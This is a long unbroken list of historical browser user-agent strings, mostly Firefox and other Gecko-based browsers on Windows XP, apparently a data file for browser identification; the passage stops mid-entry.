Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.9pre) Gecko/20071102 Firefox/2.0.0.9 Navigator/9.0.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1a3) Gecko/20060526 BonEcho/2.0a3 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1b1) Gecko/20060707 Firefox/2.0b1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1b1) Gecko/20060710 Firefox/2.0b1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1b1) Gecko/20060713 lolifox/0.2.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1b2) Gecko/20060821 Firefox/2.0b2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1b2) Gecko/20060821 SeaMonkey/1.1a Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1b2) Gecko/20060826 BonEcho/2.0b2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8a1) Gecko/20040520 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8a3) Gecko/20040817 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8a4) Gecko/20040927 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8b) Gecko/20050217 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8b4) Gecko/20050729 Firefox/1.0+ Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8b4) Gecko/20050908 Firefox/1.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8b4) Gecko/20050910 SeaMonkey/1.0a Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8b5) Gecko/20051006 Firefox/1.4.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8b5) Gecko/20051021 Flock/0.4 Firefox/1.0+ Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8b5) Gecko/20051103 Flock/0.4 Firefox/1.0+ Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9) Gecko Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9) Gecko/2008032619 Firefox/3.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9) Gecko/2008052906 Firefox/2.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9) Gecko/2008061004 Firefox/3.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9) Gecko/Firefox/3.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070206 Firefox/3.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/2.0.0.13 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1 FirePHP/0.1.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070913 Firefox/3.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008071523 Firefox/3.0.1 Flock/2.0b2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008092215 Firefox/3.0.1 Orca/1.1 beta 3 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.10) Gecko/2009042523 Firefox/3.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.10) Gecko/2009042815 Firefox/3.0.10 Wyzo/3.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.10) Gecko/2009051221 Firefox/3.0.10 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.11) Gecko/2009060215 Firefox/3.0.9 (.NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 (.NET CLR 4.0.20506) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 MEGAUPLOAD 1.0 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 (.NET CLR 3.5.30729) FBSMTWB Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.15) Gecko/2009101601 Firefox/3.6.3 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.16) Gecko/2009120208 Firefox/3.0.16 FBSMTWB Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.16) Gecko/2010010414 Firefox/3.0.19 Flock/2.5.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.19) Gecko/2010061201 Firefox/3.0.19 Flock/2.6.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.2) Gecko/2008083108 Firefox/3.0.2 Flock/2.0b3 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.2pre) Gecko/2008071405 GranParadiso/3.0.2pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.2pre) Gecko/2008072405 GranParadiso/3.0.2pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.3) Gecko/2008092417 Firefox/2.0.0.17 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.3) Gecko/2008092417 Firefox/2.0.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3 ( .NET CLR 3.5.30729; .NET4.0E) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3 FirePHP/0.1.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.4 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.3) Gecko/2008092510 Firefox/3.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.3) Gecko/2008100719 Firefox/3.0.3 Flock/2.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.3) Gecko/2008101315 Firefox/3.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.4) Gecko/2008102920 Firefox/2.0.0.11;MEGAUPLOAD 1.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4 ( .NET CLR 3.5.30729; .NET4.0C) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4 FirePHP/0.2.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.4) Gecko/2008112016 Firefox/3.0.4 Flock/2.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.4pre) Gecko/2008101305 GranParadiso/3.0.4pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.4pre) Gecko/2008102405 GranParadiso/3.0.4pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/2.0.0.11 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5 (.NET CLR 1.1.4322) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5;MEGAUPLOAD 1.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2009011615 Firefox/3.0.5 CometBird/3.0.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6 (.NET CLR 3.0.04506.30) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.6) Gecko/2009022300 Firefox/3.0.6 Orca/1.1 build 1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.6pre) Gecko/2008121605 Firefox/3.0.6pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.6pre) Gecko/2009011606 Firefox/3.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.7) Gecko/2009021910 Firefox/2.0.0.16 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7 (.NET CLR 3.5.30729) FirePHP/0.2.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.7) Gecko/2009030422 Firefox/3.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.7) Gecko/2009030821 Firefox/3.0.7 Orca/1.1 build 2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.7) Gecko/2009032519 Firefox/3.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.8) Gecko/2009032609 AskTbARS/3.9.1.14019 Firefox/3.0.8 ( .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/2.0.0.11;MEGAUPLOAD 1.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/2.0.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.0 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.3;MEGAUPLOAD 1.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.4;MEGAUPLOAD 1.0 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 1.1.4322) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.0.04506.648) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729) FirePHP/0.2.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 GTB5 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 GTB5 (.NET CLR 3.5.21022) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 GTB5 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 Mnenhy/0.7.6.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.8) Gecko/20090418 Firefox/3.0.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.8) Gecko/2009042809 Firefox/3.0.10 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.9) Gecko/2009040821 Firefox/2.0.0.14;MEGAUPLOAD 1.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9 (.NET CLR 3.5.21022) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9 GTB5 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.9) Gecko/2009042410 Firefox/3.0.9 Wyzo/3.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1) Gecko K-Meleon/1.6.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1) Gecko/20090624 Firefox/2.0.0.14;MEGAUPLOAD 1.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1) Gecko/20090624 Firefox/3.5 ( .NET CLR 3.5.30729; .NET4.0C) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.1) Gecko/20090715 Firefox/2.0.0.4;MEGAUPLOAD 1.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 (.NET CLR 4.0.20506) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 GTB5 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.1) Gecko/20090721 Firefox/3.5.1 Lunascape/5.1.3.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.10) Gecko/20100504 Firefox/3.5.11 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.10) Gecko/20100624 Firefox/3.5.10 Lunascape/6.2.0.22177 ( .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.11) Gecko/20100701 SeaMonkey/2.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.11) Gecko/20100722 SeaMonkey/2.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.11) Gecko/20100821 Firefox/3.5.11 Lunascape/6.3.1.22729 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.11pre) Gecko/20100508 SeaMonkey/2.0.6pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.11pre) Gecko/20100515 SeaMonkey/2.0.6pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.13) Gecko/20100914 Mnenhy/0.8.3 SeaMonkey/2.0.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.14) Gecko/20100930 SeaMonkey/2.0.9 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.16) Gecko/20101130 AskTbPLTV5/3.8.0.12304 Firefox/3.5.16 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.16) Gecko/20101130 Firefox/3.5.16 GTB7.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.16) Gecko/20120427 Firefox/15.0a1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.17pre) Gecko/20101211 SeaMonkey/2.0.12pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.18) Gecko/20110320 Lightning/1.0b1 SeaMonkey/2.0.13 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.18) Gecko/20110320 SeaMonkey/2.0.13 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.19) Gecko/20110420 Firefox/3.5.19 SeaMonkey/2.0.14 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.2) Gecko/20090729 Firefox/3.0.7 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 (.NET CLR 3.5.30729) FirePHP/0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 GTB5 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.2) Gecko/20090805 Firefox/3.5.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.2) Gecko/20090805 Shiretoko/3.5.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.2pre) Gecko/20090723 SeaMonkey/2.0b2pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.5) Gecko/20091102 MRA 5.5 (build 02842) Firefox/3.5.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.5) Gecko/20091102 MRA 5.5 (build 02842) Firefox/3.5.5 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.5pre) Gecko/20091016 Shiretoko/3.5.5pre GTB6 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 (.NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 (.NET CLR 3.5.30729) FBSMTWB Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 GTB6 (.NET CLR 3.5.30729) FBSMTWB Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.6) Gecko/20091201 MRA 5.5 (build 02842) Firefox/3.5.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.6) Gecko/20091201 MRA 5.5 (build 02842) Firefox/3.5.6 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.6) Gecko/20091206 Firefox/2.0.0.20 SeaMonkey/2.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.6) Gecko/20100121 Firefox/3.5.6 Wyzo/3.5.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.7) Gecko/20091221 AppleWebKit/531.21.8 (KHTML, like Gecko) Firefox/3.5.7 Flock/2.5.6 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.7) Gecko/20091221 AppleWebKit/531.21.8 KHTML/4.3.2 (like Gecko) Firefox/3.5.7 Flock/2.5.6 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.7) Gecko/20091221 AppleWebKit/531.21.8 KHTML/4.3.5 (like Gecko) Firefox/3.5.7 Flock/2.5.6 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7 Flock/2.5.6 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7 Prism/1.0b2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.7) Gecko/20091221 MRA 5.5 (build 02842) Firefox/3.5.7 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.8) Gecko/20100223 Firefox/3.5.8 Lunascape/6.1.0.20995 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.9) Gecko/20100315 Firefox/2.0.0.14;MEGAUPLOAD 1.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1a1pre) Gecko/2008062005 Minefield/3.1a1pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1a1pre) Gecko/2008071003 Minefield/3.1a1pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1a1pre) Gecko/2008071603 Firefox Minefield/3.1a1pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b1pre) Gecko/20080904053130 Minefield/3.1b1pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b1pre) Gecko/20080913185648 Minefield/3.1b1pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b1pre) Gecko/20080920085411 Minefield/3.1b1pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b1pre) Gecko/20080926033937 Minefield/3.1b1pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b1pre) Gecko/20080927033433 Minefield/3.1b1pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b1pre) Gecko/20080930093007 Minefield/3.1b1pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b1pre) Gecko/20081001 Minefield/3.1b1pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b2) Gecko/20081201 Firefox/2.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b2pre) Gecko/20081015 Fennec/1.0a1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b2pre) Gecko/20081020 Minefield/3.1b2pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b2pre) Gecko/20081026 Minefield/3.1b2pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b2pre) Gecko/20081031 Minefield/3.1b2pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b2pre) Gecko/20081117 Firefox/3.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b3) Gecko/20090305 Firefox/3.0.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 (.NET CLR 3.5.21022) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 GTB5 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b3pre) Gecko/20081201 Minefield/3.1b3pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b3pre) Gecko/20081208 SeaMonkey/2.0a3pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b3pre) Gecko/20081208 Shiretoko/3.1b3pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b3pre) Gecko/20081209 Shiretoko/3.1b3pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b3pre) Gecko/20081212 Shiretoko/3.1b3pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b3pre) Gecko/20081218 Shiretoko/3.1b3pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b3pre) Gecko/20081221 Shiretoko/3.1b3pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b3pre) Gecko/20081228 Shiretoko/3.1b3pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b3pre) Gecko/20090102 Shiretoko/3.1b3pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b3pre) Gecko/20090113 Shiretoko/3.1b3pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b3pre) Gecko/20090121 Shiretoko/3.1b3pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b3pre) Gecko/20090206 Minefield/3.1b2pre Firefox/3.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b3pre) Gecko/20090207 Shiretoko/3.1b3pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b3pre) Gecko/20090213 Firefox/3.0.1b3pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b4pre) Gecko/20090323 Shiretoko/3.5b4pre (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b4pre) Gecko/20090401 Firefox/3.5b4pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b4pre) Gecko/20090409 Firefox/3.5b4pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b4pre) Gecko/20090411 Shiretoko/3.5b4pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b4pre) Gecko/20090413 Shiretoko/3.5b4pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b5pre) Gecko/20090428 SeaMonkey/2.0b1pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b5pre) Gecko/20090517 Firefox/3.5b4pre (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1pre) Gecko/20090629 Vonkeror/1.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6 ( .NET CLR 3.5.30729; .NET4.0E) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Opera/9.20 (Windows NT 6.0; U; en) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100206 Palemoon/3.6.0.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100206 Palemoon/3.6.0.5 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.10) Gecko/20100914 Firefox/3.6.10 (.NET CLR 2.0.40607) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.11) Gecko/20101023 Firefox/3.6.11 (Palemoon/3.6.11) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.12) Gecko/20101026 Firefox/3.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20101203 AskTbBT5/3.9.1.14019 Firefox/3.6.13 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20101203 AskTbFF/3.9.1.14019 Firefox/3.6.13 ( .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20101203 AskTbFXTV5/3.8.0.12304 Firefox/3.6.13 GTB7.1 ( .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20101203 AskTbFXTV5/3.9.1.14019 Firefox/3.6.13 GTB7.1 ( .NET CLR 3.5.30729; .NET4.0E) Mozilla/5.0 (Windows; U; Windows NT 5.1; 